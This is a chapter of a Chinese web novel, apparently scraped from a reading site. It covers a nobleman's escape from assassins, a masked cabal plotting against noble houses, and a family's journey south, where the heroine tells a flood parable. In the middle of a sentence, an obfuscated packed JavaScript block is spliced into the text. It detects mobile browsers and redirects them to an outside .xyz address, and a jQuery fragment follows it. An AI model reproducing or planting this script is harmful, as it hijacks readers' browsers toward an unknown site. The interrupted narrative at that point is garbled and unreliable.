默认冷灰
24号文字
方正启体

34. 南阳(1)

作者:琅轩听雨本书字数:K更新时间:
    温朗也不恼,笑嘻嘻地拍他肩膀:“行,有骨气!不过想做纨绔,光会输钱可不行,太丢份儿。来来来,小舅舅教你几招真本事!”


    从那以后,温朗就成了萧珩的“纨绔师父”。


    如何在不露痕迹地输钱时保全自己,如何在酒肆里谈笑风生又滴水不漏,如何在花楼里听曲儿却片叶不沾身……温朗教得认真,萧珩学得也快。


    甚至后来,萧珩这个“徒弟”青出于蓝,一不小心竟成了京都第一纨绔。温朗每每提起,都得意得不行,逢人便夸“这是我带出来的。”


    这只蛐蛐,就是温朗送萧珩的“出师礼”。温朗当时拍着罐子,笑得张扬:“拿着,这可是我精挑细选的常胜将军,以后见它如见我,好好养着。”


    烛火哔剥一声轻响,将萧珩从回忆中惊醒。


    他站起身走过去,缓缓抬起手,指尖捻过那只空了的珐琅罐。


    顾清妧站在他身侧,安慰道:“萧珩,你看这京都城,一百零八坊市,日日人来人往,檐角铜铃响过千百遍,又有几人能伴你走到下一个街角?”


    “朝露易逝,夕霞难留,聚散本就无常。欢愉如焰,灼灼其华,却终有燃尽之时;离别似霜,寒彻入骨,亦难逃消融之命。世间万象,莫不循此往复。”


    最后一句,她说得极轻,“前路纵是长夜,亦有星火可寻。你……还有我。”说完,她甚至都没抬眸,转身离开了书房。


    萧珩抬眸看着落荒而逃的顾清妧,朗声道:“我送你回去。”


    与此同时,一片幽深的竹林里,杀机正浓。


    夜色如墨,竹影幢幢。


    几个鬼魅般的黑影穿梭其间,手中利刃反射出冰冷的月光。


    他们在搜寻着什么,动作迅捷。


    竹林深处,一丛茂密的矮竹后,温朗死死捂住口鼻,胸膛剧烈起伏,却不敢发出一丝声响。


    他身上衣衫褴褛,遍布血污和泥泞。连续数日的亡命奔逃,保护他的忠仆、暗卫,一个个倒下,如今只剩他孤身一人。


    一个黑影似乎察觉到了微弱的呼吸声,脚步猛地顿住,目光扫向温朗藏身的方位。温朗心头一紧,知道藏不住了。


    他猛地从藏身处窜出,用尽最后力气向竹林外狂奔。


    身后的黑衣人发现了目标,紧追不舍。


    “在那里,追!”


    温朗不敢回头,肺部火辣辣地疼,双腿如同灌了铅,但他只能拼命地跑。身后的脚步声越来越近,利刃破空的风声擦着他的后背掠过,划破了本就残破的衣衫。


    冲出竹林,眼前豁然开朗,月光下却是一片断崖,冰冷的山风呼啸着卷上来,吹得他站立不稳。身后,追兵已至,将他死死围在悬崖边缘。


    “温三公子,无路可逃了。”领头的黑衣人声音冰冷,不带一丝感情。


    温朗回头望了一眼深不见底的黑暗深渊,又看了看眼前的追兵。


    “想要小爷的命?下辈子吧。”


    话音未落,他毫不犹豫地纵身一跃,身影瞬间被悬崖下的黑暗吞噬。


    领头的黑衣人疾步冲到崖边,向下望去,只有呼啸的风声和深沉的黑暗。


    “活要见人,死要见尸,下去找。”他沉声下令。


    时间一点点流逝,悬崖上只剩下风声。


    许久之后,一只血肉模糊的手,猛地扒住了岩石边缘,紧接着,另一只手也艰难地攀了上来。温朗用尽最后一丝力气,挣扎着爬了上来。


    他浑身湿透,不知是汗水还是血水,剧烈地喘息着。他回头看了一眼悬崖下隐约传来的搜索声,咬紧牙关,一瘸一拐地融入了夜色之中。


    数里外,一座隐于山林的小木屋中。


    青锋单膝跪地,恭敬禀报:“……崖下已仔细搜索,未发现踪迹。属下判断,目标可能未死,并已逃脱。”


    木屋简陋,只点着一盏昏黄的油灯。


    阴影里出现两道身影,他们都穿着宽大的黑色斗篷,脸上覆着毫无表情的黑色面具,气息森冷,如同从地狱走出的勾魂使者。


    听完禀报,其中一位身形略高、站在上首位置的没有任何表示。


    倒是站在下首、身形略显佝偻,面具下传出的是一个有些苍老的声音:


    “温朗……”语气里带着些阴冷,“倒是个命硬的。”


    黑衣头领垂首,不敢接话。


    苍老的声音顿了顿,话锋陡然一转,“不过,关于楚家……老朽有一事不明,还望解惑。”他微微侧身,面向那位上首的面具人,“主公只命我等拔除定国公府。灭楚家满门……并非主公之意。您为何要多此一举?楚家虽非铁板一块,但骤然灭门,动静太大,恐节外生枝,徒增风险。”


    上首的面具人依旧沉默着,仿佛一尊石雕。


    过了许久,才从面具下传出变调的声音:


    “楚家……知道得太多了。留着终是隐患。一并清理,干净。”


    老者似乎还想说什么,但最终只是沉默地低下头。空气再次凝滞,只剩下油灯燃烧时的哔剥声。


    几日后,京都顾府。


    在一个天色微明的清晨,几辆不起眼的青布马车悄然驶出了顾府侧门。


    老夫人带着顾清妧和五姑娘顾清落,在一队精干护卫的随行下,低调地踏上了回南阳老家的路途。


    车轮碾过空旷的街道,驶离了这座繁华都城。


    顾清妧坐在微微摇晃的车厢里,手指抚摸着袖中那柄匕首,目光投向车窗外飞速倒退的景色。


    南下的路途漫长,窗外的景致从北方的疏朗开阔,渐渐染上了南方的湿润与葱茏。春衫早已换成了轻薄的夏裳。


    这日行至一处山间,原本还算晴朗的天色骤然阴沉,灰色的云层低低压下,紧接着便是瓢泼大雨,山路变得泥泞难行。


    “祖母,这雨太大了,车轱辘都快陷进去了。”顾清落脸色苍白,一路的颠簸加上这突如其来的暴雨,让她晕车的症状更重了,整个人蔫蔫地。


    老夫人轻轻拍了拍她的手背,对车外扬声道:“王统领,找个能避雨的地方,先停下歇歇。”


    “是,老夫人。”王统领答。


    护卫们艰难地驱车前行了一段,终于在盘山道旁发现了一座废弃的庙宇。虽显破败,但屋宇尚存,足可遮蔽风雨。


    马车停稳,丫鬟们迅速清理出一块干燥的地方,扶着老夫人和两位姑娘下车,进入庙内。


    庙宇不大,看着已荒废


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412057|184632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多年。屋顶有几处破洞,雨水滴滴答答地漏下来,在布满灰尘的地面汇成小小的水洼。


    狂风骤雨抽打着破庙的窗棂,庙内火光摇曳,顾清落望着门外如墨的夜色和倾盆大雨,忍不住向祖母低语:“这雨如此凶猛,若是一直下下去,可如何是好?”


    老夫人捻着佛珠,眉间深锁,并未回答。


    一直静坐一旁的顾清妧,目光从跳跃的火焰上抬起,声音清缓:“祖母,五姐姐,我曾在一卷残破的古舆图志中,读到过一则远古旧事,或许与此情此景有些许遥相呼应之处。”


    众人的目光被她吸引过来。


    顾清妧继续娓娓道来:


    “相传,在尧帝之时,天地间的秩序曾一度发生微妙的倾斜。并非天河倒灌,而是维系水汽循环的天衡与执掌大地脉络的地维失去了原有的和谐。”


    “那时,雨,不再遵循四时更迭、万物生长的节律。云层厚重如墨,仿佛永恒的暮色,大雨无止无休地倾泻,吞噬山川原野。它不是天神的怒火,更像是一场天地失序后,法则陷入混沌的漫长梦魇。”


    “先民们最初以为触怒神灵,求神拜佛,献祭祈祷,然而雨水漠然依旧。他们又尝试筑起更高的堤坝,挖掘更深的沟渠,但人力在天地伟力面前,犹如螳臂当车。洪水不断上涨,家园田舍尽没,文明的火种在无边无际的雨水中飘摇欲熄。”


    顾清妧的声音平静,却描绘出一幅绝望又压抑的图景。


    “直到一位名叫契的贤者,在观察流水侵蚀山石的痕迹、树木向阳的脉络后,悟出一个道理:堵不如疏,抑不如导。”


    “他言道,这无尽的雨水,并非天罚,而是天地运行失衡的症候。与其徒劳地对抗雨水,不如去引导它,让它重新回归天地循环的脉络之中。”


    “于是,契不再带领人们一味加高堤坝,而是依据山势水脉,开始绘制大地的水经图。他们顺应地势,开凿河道,导引洪流,将肆虐的雨水引入低洼之地形成湖泊,又开辟沟渠网络,将多余之水有序引向江海,同时也储蓄部分清水以备旱时。”


    “这个过程缓慢而艰辛,并非一蹴而就的神迹。但渐渐地,随着一道道合乎自然之理的沟渠河道被开辟,原本淤塞于大地的病水开始流动,重新汇入循环。阳光,再次刺破云层。”


    故事至此,庙外雨声未歇,但庙内众人仿佛已随着故事的讲述,经历了一场与自然博弈的漫长历程。


    顾清妧总结道,目光清亮:“雨水无善恶,山川亦无言。灾祸之起,有时并非源于天地的恶意,而是源于我们未能洞察其运行的法则,并与之和谐共处。契的智慧,在于他不问天责,不怨地戾,而是俯身大地,勘其脉络,导其淤塞,最终借天地之力,以治天地之疾。”


    老夫人闻言,缓缓点头,眼中露出深思之色:“妧儿所言极是。人力虽微,然顺天时、察地理,亦能寻得一线生机。”


    顾清落也若有所悟:“所以,面对灾祸,恐惧和逃避无用,一味硬抗亦非上策,而是要……找到那条顺应自然的水道?”


    这个故事,不仅安抚了此刻庙中的不安,更如同一颗种子,悄然埋下。


    顾清妧不再说话,只是静静地看着门外连绵的雨幕。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)